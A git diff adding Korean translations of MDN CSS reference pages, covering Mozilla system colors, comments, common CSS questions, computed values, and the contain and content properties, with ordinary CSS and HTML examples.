Background color for selected item in a tree widget. Should be used with the -moz-CellHighlightText foreground color. See also -moz-html-CellHighlight.
+
-moz-CellHighlightText
+
Text color for a selected item in a tree. Should be used with the -moz-CellHighlight background color. See also -moz-html-CellHighlightText.
+
-moz-Combobox
+
{{Gecko_minversion_inline("1.9.2")}} Background color for combo-boxes. Should be used with the -moz-ComboboxText foreground color. In versions prior to 1.9.2, use -moz-Field instead.
+
-moz-ComboboxText
+
{{Gecko_minversion_inline("1.9.2")}} Text color for combo-boxes. Should be used with the -moz-Combobox background color. In versions prior to 1.9.2, use -moz-FieldText instead.
+
-moz-Dialog
+
Background color for dialog boxes. Should be used with the -moz-DialogText foreground color.
+
-moz-DialogText
+
Text color for dialog boxes. Should be used with the -moz-Dialog background color.
+
-moz-dragtargetzone
+
-moz-EvenTreeRow
+
{{gecko_minversion_inline("1.9")}} Background color for even-numbered rows in a tree. Should be used with the -moz-FieldText foreground color. In Gecko versions prior to 1.9, use -moz-Field. See also -moz-OddTreeRow.
+
-moz-Field
+
Text field background color. Should be used with the -moz-FieldText foreground color.
+
-moz-FieldText
+
Text field text color. Should be used with the -moz-Field, -moz-EvenTreeRow, or -moz-OddTreeRow background color.
+
-moz-html-CellHighlight
+
{{gecko_minversion_inline("1.9")}} Background color for highlighted item in HTML {{HTMLElement("select")}}s. Should be used with the -moz-html-CellHighlightText foreground color. Prior to Gecko 1.9, use -moz-CellHighlight.
+
-moz-html-CellHighlightText
+
{{gecko_minversion_inline("1.9")}} Text color for highlighted items in HTML {{HTMLElement("select")}}s. Should be used with the -moz-html-CellHighlight background color. Prior to Gecko 1.9, use -moz-CellHighlightText.
+
-moz-mac-accentdarkestshadow
+
-moz-mac-accentdarkshadow
+
-moz-mac-accentface
+
-moz-mac-accentlightesthighlight
+
-moz-mac-accentlightshadow
+
-moz-mac-accentregularhighlight
+
-moz-mac-accentregularshadow
+
-moz-mac-chrome-active
+
{{Gecko_minversion_inline("1.9.1")}}
+
-moz-mac-chrome-inactive
+
{{Gecko_minversion_inline("1.9.1")}}
+
-moz-mac-focusring
+
-moz-mac-menuselect
+
-moz-mac-menushadow
+
-moz-mac-menutextselect
+
-moz-MenuHover
+
Background color for hovered menu items. Often similar to Highlight. Should be used with the -moz-MenuHoverText or -moz-MenuBarHoverText foreground color.
+
-moz-MenuHoverText
+
Text color for hovered menu items. Often similar to HighlightText. Should be used with the -moz-MenuHover background color.
+
-moz-MenuBarText
+
{{Gecko_minversion_inline("1.9.2")}} Text color in menu bars. Often similar to MenuText. Should be used on top of Menu background.
+
-moz-MenuBarHoverText
+
Color for hovered text in menu bars. Often similar to -moz-MenuHoverText. Should be used on top of -moz-MenuHover background.
+
-moz-nativehyperlinktext
+
{{Gecko_minversion_inline("1.9.1")}} Default platform hyperlink color.
+
-moz-OddTreeRow
+
{{gecko_minversion_inline("1.9")}} Background color for odd-numbered rows in a tree. Should be used with the -moz-FieldText foreground color. In Gecko versions prior to 1.9, use -moz-Field. See also -moz-EvenTreeRow.
+
-moz-win-communicationstext
+
{{gecko_minversion_inline("1.9")}} Should be used for text in objects with {{cssxref("-moz-appearance")}}: -moz-win-communications-toolbox;.
+
-moz-win-mediatext
+
{{gecko_minversion_inline("1.9")}} Should be used for text in objects with {{cssxref("-moz-appearance")}}: -moz-win-media-toolbox.
+
-moz-win-accentcolor
+
{{gecko_minversion_inline("56")}}
+ Used to access the Windows 10 custom accent color that you can set on the start menu, taskbar, title bars, etc.
+
-moz-win-accentcolortext
+
{{gecko_minversion_inline("56")}}
+ Used to access the color of text placed over the Windows 10 custom accent color in the start menu, taskbar, title bars, etc.
+
+ +

Mozilla 색상 설정 확장

+ +
+
-moz-activehyperlinktext
+
User's preference for text color of active links. Should be used with the default document background color.
+
-moz-default-background-color
+
{{Gecko_minversion_inline("5.0")}} User's preference for the document background color.
+
-moz-default-color
+
{{Gecko_minversion_inline("5.0")}} User's preference for the text color.
+
-moz-hyperlinktext
+
User's preference for the text color of unvisited links. Should be used with the default document background color.
+
-moz-visitedhyperlinktext
+
User's preference for the text color of visited links. Should be used with the default document background color.
+
+ +

보간

+ +

애니메이션과 그레이디언트<color> 값의 빨강, 초록, 파랑 각 구성 성분을 부동소수점 실수를 사용해 보간합니다. 보간 중 예상하지 못한 무채색이 등장하는걸 방지하기 위해 계산은 알파 채널을 미리 곱한 sRGBA 색 공간에서 수행합니다. 애니메이션에서 보간의 속도는 타이밍 함수가 결정합니다.

+ +

접근성 고려사항

+ +

색을 구별하기 어려운 사람도 있으므로, WCAG 2.0 권고안은 특정 메시지, 행동, 또는 결과를 나타내는 방법으로 오직 색만 사용하는걸 강력히 반대하고 있습니다. 색과 색상 대비를 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Colors', '#changes-from-3')}}{{Spec2('CSS4 Colors')}}Adds rebeccapurple, four- (#RGBA) and eight-digit (#RRGGBBAA) hexadecimal notations, rgba() and hsla() as aliases of rgb() and hsl() (both with identical parameter syntax), space-separated function parameters as an alternative to commas, percentages for alpha values, and angles for the hue component in hsl() colors.
{{SpecName('CSS3 Colors', '#colorunits', '<color>')}}{{Spec2('CSS3 Colors')}}Deprecates system colors. Adds SVG colors and rgba(), hsl(), and hsla() functional notations.
{{SpecName('CSS2.1', 'syndata.html#value-def-color', '<color>')}}{{Spec2('CSS2.1')}}Adds the orange keyword and system colors.
{{SpecName('CSS1', '#color-units', '<color>')}}{{Spec2('CSS1')}}Initial definition. Includes 16 basic color keywords.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.color")}}

+ +

같이 보기

+ +
    +
  • {{Cssxref("opacity")}} 속성으로 요소 자체의 투명도를 바꿀 수 있습니다.
  • +
  • <color>를 지정할 수 있는 흔히 쓰이는 속성: {{Cssxref("color")}}, {{Cssxref("background-color")}}, {{Cssxref("border-color")}}, {{Cssxref("box-shadow")}}, {{Cssxref("outline-color")}}, {{Cssxref("text-shadow")}}
  • +
  • CSS로 HTML 요소에 색 입히기
  • +
diff --git a/files/ko/web/css/comments/index.html b/files/ko/web/css/comments/index.html new file mode 100644 index 0000000000..e101681e9c --- /dev/null +++ b/files/ko/web/css/comments/index.html @@ -0,0 +1,54 @@ +--- +title: Comments +slug: Web/CSS/Comments +tags: + - CSS + - Reference +translation_of: Web/CSS/Comments +--- +
{{CSSRef}}
+ +

CSS 주석은 코드에 설명을 넣거나, 브라우저가 스타일 시트의 특정 부분을 읽지 못하도록 방지할 때 사용합니다. 주석은 문서의 레이아웃에 영향을 주지 않습니다.

+ +

구문

+ +

주석은 스타일 시트에서 공백이 위치할 수 있는 곳 어디에나 넣을 수 있습니다. 한 줄로도, 여러 줄로도 사용할 수 있습니다.

+ +
/* Comment */
+ +

예제

+ +
/* 한 줄 주석 */
+
+/*
+여러
+줄을
+차지하는
+주석
+*/
+
+/* 아래와 같이 사용하면
+   스타일을 숨길 수 있음 */
+/*
+span {
+  color: blue;
+  font-size: 1.5em;
+}
+*/
+
+ +

참고

+ +

한 줄과 여러 줄 주석 모두 /* */ 구문을 사용하며 다른 방법은 없습니다. 그러나 {{htmlelement("style")}} 요소를 사용하는 경우 <!-- -->를 이용해 구형 브라우저에게서 CSS를 숨길 수 있지만, 추천하는 방법은 아닙니다. /* */ 주석 구문을 사용하는 대부분의 언어와 마찬가지로 주석을 중첩할 수는 없습니다. 즉 /*을 뒤따르는 첫 번째 */이 주석을 끝냅니다.

+ +

명세

+ + + +

같이 보기

+ +
    +
  • {{CSS_key_concepts}}
  • +
diff --git a/files/ko/web/css/common_css_questions/index.html b/files/ko/web/css/common_css_questions/index.html new file mode 100644 index 0000000000..604448f6c3 --- /dev/null +++ b/files/ko/web/css/common_css_questions/index.html @@ -0,0 +1,199 @@ +--- +title: 공통된 CSS 질문들 +slug: Web/CSS/Common_CSS_Questions +translation_of: Learn/CSS/Howto/CSS_FAQ +--- +

왜 유효한 내 CSS가 왜 올바르게 그려지지 않는가?

+ +

Browsers use the DOCTYPE declaration to choose whether to show the document using a mode that is more compatible  with Web standards or with old browser bugs. Using a correct and modern DOCTYPE declaration at the start of your HTML will improve browser standards compliance.

+ +

Modern browsers have two main rendering modes:

+ +
    +
  • Quirks Mode: also called backwards-compatibility mode, allows legacy webpages to be rendered as their authors intended, following the non-standard rendering rules used by older browsers. Documents with an incomplete, incorrect, or missing DOCTYPE declaration or a known DOCTYPE declaration in common use before 2001 will be rendered in Quirks Mode.
  • +
  • Standards Mode: the browser attempts to follow the W3C standards strictly. New HTML pages are expected to be designed for standards-compliant browsers, and as a result, pages with a modern DOCTYPE declaration will be rendered with Standards Mode.
  • +
+ +

Gecko-based browsers, have a third Almost Standards Mode that has only a few minor quirks.

+ +

This is a list of the most commonly used DOCTYPE declarations that will trigger Standards or Almost Standards mode:

+ +
<!DOCTYPE html> /* This is the HTML5 doctype. Given that each modern browser uses an HTML5
+                   parser, this is the recommended doctype */
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
+"http://www.w3.org/TR/html4/loose.dtd">
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+ +

왜 유효한 내 CSS는 모두 랜더링 되지 않는가?

+ +

원인은 다음과 같다:

+ +
    +
  • CSS 파일의 경로가 잘못되었다.
  • +
  • 적용을 위해서는 CSS 파일은 반드시 text/css MIME type으로 전달되어야 한다. 만약 웹 서버가 이 타입을 지원하지 않는다면 적용할 수 없다.
  • +
+ +

id 와 css는 무엇이 다른가?

+ +

HTML elements can have an id and/or class attribute. The id attribute assigns a name to the element it is applied to, and for valid markup, there can be only one element with that name. The class attribute assigns a class name to the element, and that name can be used on many elements within the page. CSS allows you to apply styles to particular id and/or class names.
+
+ Use an id-specific style when you want to restrict the applied styling rules to one specific block or element. This style will only be used by the element with that particular id.
+
+ Use a class-specific style when you want to apply the styling rules to many blocks and elements within the page.

+ +

Stylesheets with fewer rules are usually more performant. It is therefore recommended to use classes as much as possible, and to reserve the use of id for specific uses (like to connect label and form elements or for styling elements that must be semantically unique).

+ +

See CSS selectors

+ +

 프로퍼티(property)에 기본값(default value)으로 복귀 시키는 방법은?

+ +

 

+ +

본래 CSS는 "default" 키워드를 제공하지 않으며 속성의 기본값을 복원하는 유일한 방법은 해당 속성을 명시 적으로 다시 선언하는 것이다.

+ +
/* Heading default color is black */
+h1 { color: red; }
+h1 { color: black; }
+ +

이것은 CSS 2에서 변경되었다. 키워드 initial은 이제 CSS 속성에서 유효한 값이다. 지정된 속성의 CSS 사양에 정의 된 기본값으로 재설정된다.

+ +
/* Heading default color is black */
+h1 { color: red; }
+h1 { color: initial; }
+ +

 

+ +

어떻게 하면 한 스타일(style)로 부터 다른 스타일을 파생시킬 수 있는가?

+ +

CSS는 한 스타일 안에서 다른 조건을 정의하는 것을 허용하지 않는다. (See Eric Meyer's note about the Working Group's stance).  그러나 여러개의 클래스(class)들을 한 엘리먼트(element)에 할당하면 같은 효과를 제공받을 수 있다.

+ +

어떻게 하면 한 요소(element)에 여러 클래스(class)를 할당할 수 있는가?

+ +

HTML elements can be assigned multiple classes by listing the classes in the class attribute, with a blank space to separate them.

+ +
<style type="text/css">
+.news { background: black; color: white; }
+.today { font-weight: bold; }
+</style>
+
+<div class="news today">
+... content of today's news ...
+</div>
+
+ +

If the same property is declared in both rules, the conflict is resolved first through specificity, then according to the order of the CSS declarations. The order of classes in the class attribute is not relevant.

+ +

왜 내 스타일 룰(style rule)은 올바르게 동작하지 않는가?

+ +

Style rules that are syntactically correct may not apply in certain situations. You can use DOM Inspector's CSS Style Rules view to debug problems of this kind, but the most frequent instances of ignored style rules are listed below.

+ +

HTML 요소(element) 계층(hierarchy)

+ +

The way CSS styles are applied to HTML elements depends also on the elements hierarchy. It is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of CSS rules.

+ +
.news { color: black; }
+.corpName { font-weight: bold; color: red; }
+
+<!-- news item text is black, but corporate name is red and in bold -->
+<div class="news">
+   (Reuters) <span class="corpName">General Electric</span> (GE.NYS) announced on Thursday...
+</div>
+
+ +

In case of complex HTML hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style.

+ +

명확한 스타일 룰 재정의

+ +

CSS 스타일시트 안에서 순서가 중요하다. 만약 룰을 정의하고 같은 룰을 재정의 한다면 마지막 정의가 적용된다.

+ +
#stockTicker { font-weight: bold; }
+.stockSymbol { color: red; }
+/*  other rules             */
+/*  other rules             */
+/*  other rules             */
+.stockSymbol { font-weight: normal; }
+
+<!-- most text is in bold, except "GE", which is red and not bold -->
+<div id="stockTicker">
+   NYS: <span class="stockSymbol">GE</span> +1.0 ...
+</div>
+
+ +

위와 같은 종류의 오류를 방지하려면 특정 선택자에 대해 규칙을 한 번만 정의하고 해당 선택자에 속하는 모든 규칙을 그룹화 하는 것이 좋다.

+ +

프로퍼티(property) 축약형의 사용

+ +

Using shorthand properties for defining style rules is good because it uses a very compact syntax. Using shorthand with only some attributes is possible and correct, but it must be remembered that undeclared attributes are automatically reset to default. This means that a previous rule for a single attribute could be implicitly overridden.

+ +
#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; }
+.stockSymbol { font: 14px Arial; color: red; }
+
+<div id="stockTicker">
+   NYS: <span class="stockSymbol">GE</span> +1.0 ...
+</div>
+
+ +

In the previous example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order is important.

+ +
#stockTicker {
+   font-weight: bold;
+   font: 12px Verdana;  /* font-weight is now normal */
+}
+
+ +

* 셀렉터(selector)의 사용

+ +

* 와일드카드 셀렉터는 모든 엘리먼트에 적용되고, 이것은 특별히 주의를 기울여 사용해야 한다.

+ +
body * { font-weight: normal; }
+#stockTicker { font: 12px Verdana; }
+.corpName { font-weight: bold; }
+.stockUp { color: red; }
+
+<div id="section">
+   NYS: <span class="corpName"><span class="stockUp">GE</span></span> +1.0 ...
+</div>
+
+ +

In this example the body * selector applies the rule to all elements inside body, at any hierarchy level, including the .stockUp class. So font-weight: bold; applied to the .corpName class is overridden by font-weight: normal; applied to all elements in the body.

+ +

The use of the * selector should be minimized as it is a slow selector, especially when not used as the first element of a selector. Its use should be avoided as much as possible.

+ +

CSS의 특수성

+ +

When multiples rules apply to a certain element, the rule chosen depends on its style specificity. Inline style (in HTML style attributes) comes first, followed by ID selectors, then class selectors and eventually element-name selectors.

+ +
div { color: black; }
+#orange { color: orange; }
+.green { color: green; }
+
+<div id="orange" class="green" style="color: red;">This is red</div>
+
+ +

The rules are more complicated when the selector has multiple parts. More detailed information about how selector specificity is calculated can be found in the CSS 2.1 Specification chapter 6.4.3.

+ +

-moz-*, -ms-*, -webkit-*, -o-* and -khtml-* 프로퍼티(property)들이 하는 것은?

+ +

These properties, called prefixed properties, are extensions to the CSS standard. They are used to use experimental and non-standard features without polluting the regular namespace, preventing future incompatibilities to arise when the standard is extended.

+ +

The use of such properties on production websites is not recommended. If nevertheless needed, you are hinted to make a plan for the website evolution: these prefixed properties can be modified or even suppressed when the standard evolves.

+ +

Please see the Mozilla CSS Extensions page for more information on the Mozilla-prefixed CSS properties.

+ +

z-index는 어떻게 포지셔닝을 하는가?

+ +

The z-index property specifies the stack order of elements.

+ +

An element with a higher z-index/stack order is always in front of an element with a lower z-index/stack order.

+ +

Z-index will only work on elements that have a specified position (position:absolute, position:relative, or position:fixed).

diff --git a/files/ko/web/css/computed_value/index.html b/files/ko/web/css/computed_value/index.html new file mode 100644 index 0000000000..feb106bf43 --- /dev/null +++ b/files/ko/web/css/computed_value/index.html @@ -0,0 +1,55 @@ +--- +title: 계산값 +slug: Web/CSS/computed_value +tags: + - CSS + - Reference +translation_of: Web/CSS/computed_value +--- +
{{cssref}}
+ +

CSS 속성의 계산값은 상속 과정에서 부모가 자식에게 물려주는 값을 말합니다. 계산값은 지정값으로부터 다음 방법을 통해 구합니다.

+ +
    +
  • 특수값인 {{cssxref("inherit")}}, {{cssxref("initial")}}, {{cssxref("unset")}}, {{cssxref("revert")}}를 처리하여.
  • +
  • 각 속성 정의 표의 "Computed value" 항목이 가리키는 연산을 수행하여.
  • +
+ +

계산값을 구하기 위한 연산은 보통 상댓값(em 단위나 백분율 등)을 절댓값으로 변환하는 작업을 수반합니다. 예컨대 요소가 font-size: 1pxpadding-top: 2em을 가진다면, padding-top의 계산값은 글씨 크기의 두 배인 32px입니다.

+ +

그러나, width, margin-right, text-index, top과 같이, 백분율의 값을 알아내려면 레이아웃부터 계산해야 하는 속성의 백분율 지정값은 백분율 계산값이 됩니다. 추가로, line-height 속성의 단위 없는 값도 그대로 계산값이 됩니다. 이렇게 남겨진 상대적 계산값은 사용값을 구할 때 절댓값이 됩니다.

+ +
+

참고:{{domxref("Window.getComputedStyle", "getComputedStyle()")}} DOM API는 결정값을 반환합니다. 결정값은 속성에 따라 계산값일 수도, 사용값일 수도 있습니다.

+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS2.1", "cascade.html#computed-value", "computed value")}}{{Spec2("CSS2.1")}}Initial definition.
{{SpecName("CSS2.2", "cascade.html#computed-value", "computed-value")}}{{Spec2("CSS2.2")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/css/contain/index.html b/files/ko/web/css/contain/index.html new file mode 100644 index 0000000000..64eb9eba4a --- /dev/null +++ b/files/ko/web/css/contain/index.html @@ -0,0 +1,206 @@ +--- +title: contain +slug: Web/CSS/contain +tags: + - CSS + - CSS Containment + - CSS Property + - Reference + - Web + - 'recipe:css-property' +translation_of: Web/CSS/contain +--- +
{{CSSRef}}
+ +

CSS contain 속성은 특정 요소와 콘텐츠가 문서 트리의 다른 부위와 독립되어있음을 나타낼 때 사용합니다. 브라우저는 이 정보를 사용해 레이아웃, 스타일, 페인트, 크기, 또는 그 조합의 계산을 전체 페이지 DOM 대신 일부에서만 수행할 수 있으므로 뚜렷한 성능 상 이점을 얻을 수 있습니다.

+ +

contain 속성은 위젯 내부 콘텐츠가 외부에 부작용을 끼치는 것을 방지할 수 있으므로 서로 독립된 많은 양의 위젯이 존재하는 페이지에서 유용합니다.

+ +
+

참고: paint, strict, content 값을 설정할 경우 다음을 생성합니다.

+ +
    +
  1. 새로운 컨테이닝 블록 ({{cssxref("position")}} 속성이 absolute 또는 fixed인 자손을 위함).
  2. +
  3. 새로운 쌓임 맥락.
  4. +
  5. 새로운 블록 서식 맥락.
  6. +
+
+ +

구문

+ +
/* 키워드 값 */
+contain: none;
+contain: strict;
+contain: content;
+contain: size;
+contain: layout;
+contain: style;
+contain: paint;
+
+/* 다중 값 */
+contain: size paint;
+contain: size layout paint;
+
+/* 전역 값 */
+contain: inherit;
+contain: initial;
+contain: unset;
+ +

contain 속성은 다음 방법 중 하나를 사용해 지정합니다.

+ +
    +
  • none, strict, content 키워드 중 하나를 사용.
  • +
  • size, layout, style, paint 키워드를 임의 순서로 하나 이상 사용.
  • +
+ +

+ +
+
none
+
아무것도 격리하지 않고 요소를 평범하게 렌더링합니다.
+
strict
+
style을 제외한 모든 격리 규칙을 적용합니다. contain: size layout paint와 같습니다.
+
content
+
sizestyle을 제외한 모든 격리 규칙을 적용합니다. contain: layout paint와 같습니다.
+
size
+
요소의 크기를 계산할 때 자손의 크기는 고려하지 않아도 됨을 나타냅니다.
+
layout
+
요소 외부의 어느 것도 내부 레이아웃에 영향을 주지 않고, 그 반대도 성립함을 나타냅니다.
+
style
+
요소 자신과 자손 외에도 영향을 주는 속성이라도 그 영향 범위가 자신을 벗어나지 않음을 나타냅니다. 이 값은 명세에서 "제외 고려" 대상이므로 모든 브라우저가 지원하지 않을 수도 있음을 참고하세요.
+
paint
+
요소의 자손이 자신의 범위 바깥에 그려지지 않음을 나타냅니다. 이 값을 지정한 요소의 경우, 요소가 화면 밖에 위치할 경우 당연히 그 안의 자손도 화면 안에 들어오지 않을 것이므로 브라우저는 그 안의 요소를 고려하지 않아도 됩니다. 그러나 만약 자손이 범위 밖으로 넘칠 경우에는 요소의 테두리 상자에서 잘라냅니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

간단한 레이아웃

+ +

다음 마크업은 각각의 콘텐츠를 가진 여러 개의 글을 가정합니다.

+ +
<h1>My blog</h1>
+<article>
+  <h2>Heading of a nice article</h2>
+  <p>Content here.</p>
+</article>
+<article>
+  <h2>Another heading of another article</h2>
+  <img src="graphic.jpg" alt="photo">
+  <p>More content here.</p>
+</article>
+ +

<article><img>엔 테두리를 부여하고, 이미지는 모두 좌측으로 플로팅합니다.

+ +
img {
+  float: left;
+  border: 3px solid black;
+}
+
+article {
+  border: 1px solid black;
+}
+ +

{{EmbedLiveSample('간단한_레이아웃', '100%', '300')}}

+ +

플로팅 간섭

+ +

첫 번째 글의 마지막에 다른 이미지를 넣게 되면 많은 양의 DOM 트리가 다시 레이아웃이나 페인트 과정을 거쳐야 하며, 두 번째 글의 레이아웃에도 간섭하게 됩니다.

+ +
<h1>My blog</h1>
+<article>
+  <h2>Heading of a nice article</h2>
+  <p>Content here.</p>
+  <img src="i-just-showed-up.jpg" alt="social">
+</article>
+<article>
+  <h2>Another heading of another article</h2>
+  <img src="graphic.jpg" alt="photo">
+  <p>More content here.</p>
+</article>
+ + + +

아래의 라이브 샘플에서, 플로팅 작동 방식으로 인해 첫 번째 이미지가 두 번째 글 안으로 들어가버린 모습을 볼 수 있습니다.

+ +

{{EmbedLiveSample('플로팅_간섭', '100%', '300')}}

+ +

contain으로 수정하기

+ +

각각의 articlecontain: content를 지정해주면, 새로운 요소를 추가할 때 그 하위 트리만 계산하고 바깥은 고려하지 않아도 된다는 것을 브라우저가 인식합니다.

+ + + +
img {
+  float: left;
+  border: 3px solid black;
+}
+
+article {
+  border: 1px solid black;
+  contain: content;
+}
+ +

또한 첫 번째 이미지가 플로팅으로 인해 아래로 넘어가지 않고, 컨테이너 요소의 범위 안에 머무르는 것도 확인할 수 있습니다.

+ +

{{EmbedLiveSample('contain으로_수정하기', '100%', '330')}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS Containment', '#contain-property', 'contain')}}{{Spec2('CSS Containment')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.contain")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/content/index.html b/files/ko/web/css/content/index.html new file mode 100644 index 0000000000..c06271b05d --- /dev/null +++ b/files/ko/web/css/content/index.html @@ -0,0 +1,297 @@ +--- +title: content +slug: Web/CSS/content +tags: + - CSS + - CSS Counter + - CSS Property + - Reference +translation_of: Web/CSS/content +--- +
{{CSSRef}}
+ +

CSS content 속성은 생성한 값으로 요소를 대체합니다. content 속성으로 추가한 요소는 "익명 대체 요소"입니다.

+ +
/* 다른 값과 조합할 수 없는 키워드 */
+content: normal;
+content: none;
+
+/* <image> 값 */
+content: url("http://www.example.com/test.png");
+content: linear-gradient(#e66465, #9198e5);
+
+/* 생성한 값의 대체 텍스트, Level 3 명세에서 추가 */
+content: url("http://www.example.com/test.png") / "This is the alt text";
+
+/* 앞선 값은 모두 ::before와 ::after에만 적용 가능 */
+
+/* <string> 값 */
+content: "prefix";
+
+/* <counter> 값 */
+content: counter(chapter_counter);
+content: counters(section_counter, ".");
+
+/* HTML 속성값으로 연결하는 attr() */
+content: attr(value string);
+
+/* 언어와 요소 위치 기반 키워드 */
+content: open-quote;
+content: close-quote;
+content: no-open-quote;
+content: no-close-quote;
+
+/* normal과 none을 제외하면 여러 키워드를 함께 사용할 수 있음 */
+content: open-quote chapter_counter;
+
+/* 전역 값 */
+content: inherit;
+content: initial;
+content: unset;
+
+ +

{{cssinfo}}

+ +

구문

+ +

+ +
+
none
+
의사 요소를 생성하지 않음.
+
normal
+
::before::after 의사 요소인 경우 none.
+
{{cssxref("<string>")}}
+
요소의 "대체 텍스트". 모든 숫자와 문자가 가능합니다. 단, 라틴계 문자가 아닌 경우 유니코드 이스케이프 시퀀스를 사용해 인코딩해야 합니다. 예를 들어, \000A9는 저작권 기호입니다.
+
{{cssxref("<image>")}}
+
{{cssxref("<url>")}}이나 {{cssxref("<gradient>")}} 자료형을 사용한 {{cssxref("<image>")}}, 또는 {{cssxref("element")}} 함수를 사용해 가리킨, 보여줄 웹페이지의 일부.
+
{{cssxref("<counter>")}}
+
보통 숫자인 CSS 카운터 값.{{cssxref("counter")}}나 {{cssxref("counters")}} 함수를 사용해 지정할 수 있습니다.
+
+

{{cssxref("counter")}} 함수는 'counter(name)'과 'counter(name, style)'의 두 형태를 가지고 있습니다. 생성하는 값은 주어진 의사 요소의 현재 범위에서, 해당하는 이름을 가진 가장 안쪽 카운터의 값입니다. 지정한 스타일(기본 decimal)에 맞춰 서식을 적용합니다.

+ +

{{cssxref("counters")}} 함수 역시 'counters(name, string)'과 'counters(name, string, style)'의 두 형태를 가집니다. 생성하는 값은 주어진 의사 요소의 현재 범위에서, 해당하는 이름을 가진 카운터 값의 목록으로 바깥쪽부터 시작하며 주어진 문자열을 사용해 구분합니다. 지정한 스타일(기본 decimal)에 맞춰 서식을 적용합니다..

+
+
attr(x)
+
문자열로 변환한, 요소 속성 x의 값. x 속성이 존재하지 않으면 빈 문자열을 반환합니다. 속성명의 대소문자 구분 여부는 문서 언어에 따릅니다.
+
open-quote | close-quote
+
{{cssxref("quotes")}} 속성에서 가져온 적절한 문자열을 사용해 대체.
+
no-open-quote | no-close-quote
+
콘텐츠는 추가하지 않고, 대신 따옴표의 중첩 단계를 증감.
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

헤딩과 따옴표

+ +

다음 예제는 인용구 주변에 따옴표를 추가하고, 헤딩 앞에 단어 "Chapter"를 추가합니다.

+ +

HTML

+ +
<h1>5</h1>
+<p>According to Sir Tim Berners-Lee,
+  <q cite="http://www.w3.org/People/Berners-Lee/FAQ.html#Internet">I was
+    lucky enough to invent the Web at the time when the Internet
+    already existed - and had for a decade and a half.</q>
+  We must understand that there is nothing fundamentally wrong
+  with building on the contributions of others.
+</p>
+
+<h1>6</h1>
+<p>According to the Mozilla Manifesto,
+  <q cite="http://www.mozilla.org/en-US/about/manifesto/">Individuals
+    must have the ability to shape the Internet and
+    their own experiences on the Internet.</q>
+  Therefore, we can infer that contributing to the open web
+  can protect our own individual experiences on it.
+</p>
+ +

CSS

+ +
q {
+  color: blue;
+}
+
+q::before {
+  content: open-quote;
+}
+
+q::after {
+  content: close-quote;
+}
+
+h1::before  {
+  content: "Chapter ";  /* The trailing space creates separation
+                           between the added content and the
+                           rest of the content */
+}
+ +

결과

+ +

{{EmbedLiveSample('헤딩과_따옴표', '100%', 200)}}

+ +

이미지와 텍스트

+ +

다음 예제는 링크 앞에 이미지를 추가합니다. 이미지를 가져오지 못한 경우 텍스트를 대신 추가합니다.

+ +

HTML

+ +
<a href="http://www.mozilla.org/en-US/">Mozilla Home Page</a>
+ +

CSS

+ +
a::before {
+  content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") " MOZILLA: ";
+  font: x-small Arial, sans-serif;
+  color: gray;
+}
+ +

결과

+ +

{{EmbedLiveSample('이미지와_텍스트', '100%', 60)}}

+ +

클래스 사용

+ +

다음 예제는 목록의 특별한 항목 뒤에 추가 텍스트를 삽입합니다.

+ +

HTML

+ +
<h2>Paperback Best Sellers</h2>
+<ol>
+  <li>Political Thriller</li>
+  <li class="new-entry">Halloween Stories</li>
+  <li>My Biography</li>
+  <li class="new-entry">Vampire Romance</li>
+</ol>
+ +

CSS

+ +
.new-entry::after {
+  content: " New!";  /* The leading space creates separation
+                        between the added content and the
+                        rest of the content */
+  color: red;
+}
+ +

결과

+ +

{{EmbedLiveSample('클래스_사용', '100%', 160)}}

+ +

이미지와 요소 속성

+ +

다음 예제는 링크 앞에 이미지를 추가하고, 뒤에 id 속성의 값을 붙입니다.

+ +

HTML

+ +
<ul>
+  <li><a id="moz" href="http://www.mozilla.org/">
+    Mozilla Home Page</a></li>
+  <li><a id="mdn" href="https://developer.mozilla.org/">
+    Mozilla Developer Network</a></li>
+</ul>
+ +

CSS

+ +
a {
+  text-decoration: none;
+  border-bottom: 3px dotted navy;
+}
+
+a::after {
+  content: " (" attr(id) ")";
+}
+
+#moz::before {
+  content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") ;
+}
+
+#mdn::before {
+  content: url("https://mdn.mozillademos.org/files/7691/mdn-favicon16.png") ;
+}
+
+li {
+  margin: 1em;
+}
+
+ +

결과

+ +

{{EmbedLiveSample('이미지와_요소_속성', '100%', 160)}}

+ +

요소 대체

+ +

다음 예제는 요소의 콘텐츠를 이미지로 대체합니다. {{cssxref("<url>")}} 또는 {{cssxref("<image>")}} 사용하면 콘텐츠를 대체합니다. 요소를 대체했으므로 ::before::after는 생성하지 않습니다.

+ +

HTML

+ +
<div id="replaced">Mozilla</div>
+
+ +

CSS

+ +
#replaced {
+  content: url("https://mdn.mozillademos.org/files/12668/MDN.svg");
+}
+
+#replaced::after { /* will not show if element replacement is supported */
+  content: " (" attr(id) ")";
+}
+ +

결과

+ +

{{EmbedLiveSample('요소_대체', '100%', 200)}}

+ +

접근성 고려사항

+ +

